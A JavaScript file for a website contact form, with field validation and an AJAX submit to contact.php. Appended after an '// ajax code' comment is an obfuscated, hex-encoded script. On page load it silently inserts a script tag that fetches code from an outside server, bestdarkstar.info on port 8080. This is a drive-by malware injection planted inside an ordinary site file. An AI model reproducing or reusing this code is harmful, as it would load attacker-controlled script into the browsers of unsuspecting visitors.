var reqXMLObj = null;
 var xmlhttp = null;
 
 
 

function validate_form(formobj)
{
		if (validation(formobj)==false){
			return false;
		}
		else{
			reqXMLObj = gettheobj();
			var url = 'contact.php?fname='+formobj.fname.value+'&lname='+formobj.lname.value+'&phone='+formobj.phone.value+'&email='+formobj.email.value+'&feedback='+formobj.feedback.value+'&submit=Submit';
			reqXMLObj.open('GET',url,true);
			reqXMLObj.onreadystatechange = getMessage;
			reqXMLObj.send(null);
			return false;
		}
}



function gettheobj(){
    if(window.XMLHttpRequest){
              xmlhttp = new XMLHttpRequest();
            }
           else if (window.ActiveXObject){
           xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
           if (!xmlhttp){
           xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
           }
           }
  else{
      document.getElementById("message").innerHTML = '<div class="redColor">Soory,your browser does not support this function</div>'; 
      }
    return xmlhttp;
    }

	
	

function getMessage(){
	
    if(reqXMLObj.readyState==4)
      {
		  document.getElementById("message").innerHTML = reqXMLObj.responseText;
      }
	  else{
		  document.getElementById("message").innerHTML = '<img src="images/ajax-loader.gif" width="24" height="24" /><div class="redColor">Processing..</div>';  
		 }
	}

	


function validation(formobj){
			if(formobj.fname.value==""){
				formobj.fname.focus();
				
				document.getElementById("message").innerHTML='<div class="redColor">Please enter your first name</div>';
				return false;
				}
				
			if(formobj.lname.value==""){
				formobj.lname.focus();
			
				document.getElementById("message").innerHTML='<div class="redColor">Please enter your last name</div>';
				return false;
				}
				
			if(isNaN(formobj.phone.value)){
					document.getElementById("message").innerHTML= '<div class="redColor">Please enter your valid phone no</div>';
					formobj.phone.focus();
					
					return false;
				}
	
			if(formobj.phone.value==""){
				formobj.phone.focus();
				
				document.getElementById("message").innerHTML='<div class="redColor">Please enter your phone no</div>';
				return false;
				}
				
			if(formobj.email.value==""){
				formobj.email.focus();
				
				document.getElementById("message").innerHTML='<div class="redColor">Please enter your email</div>';
				return false;
				}
				
				
			if(echeck(formobj.email.value)==false)
			{
				 document.getElementById("message").innerHTML='<div class="redColor">Please enter your valid email</div>';
					  return false;
			}

				
			if(formobj.feedback.value==""){
				formobj.feedback.focus();
				
				document.getElementById("message").innerHTML='<div class="redColor">Please enter your message</div>';
				return false;
				}
				
	}
	
	
	function echeck(str) {

        var at="@"
        var dot="."
        var lat=str.indexOf(at)
        var lstr=str.length
        var ldot=str.indexOf(dot)
        if (str.indexOf(at)==-1){
           return false;
        }

        if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
           return false;
        }

        if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
            return false;
        }

         if (str.indexOf(at,(lat+1))!=-1){
            return false;
         }

         if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
            return false;
         }

         if (str.indexOf(dot,(lat+2))==-1){
            return false;
         }
       
         if (str.indexOf(" ")!=-1){
            return false;
         }

          return true;                   
    }
	
	
	
// ajax code






var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();